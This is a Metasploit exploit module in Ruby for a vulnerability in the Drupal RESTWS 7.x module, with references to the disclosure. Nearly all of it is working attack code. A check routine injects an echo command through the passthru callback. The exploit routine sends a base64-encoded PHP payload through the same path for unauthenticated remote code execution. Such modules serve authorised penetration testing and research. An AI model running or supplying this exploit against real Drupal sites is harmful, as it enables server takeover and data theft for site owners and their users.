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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
'Description' => %q{
This module exploits the Drupal RESTWS module vulnerability.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution
This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567'],
['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
], self.class
)
end
def check
r = rand_text_alpha(8 + rand(4))
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res && res.body =~ /#{r}/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
random = rand_text_alpha(1 + rand(2))
url = normalize_uri(target_uri.path,
"?q=taxonomy_vocabulary/",
random ,
"/passthru/",
Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
)
send_request_cgi(
'method' => 'GET',
'uri' => url
)
end
end
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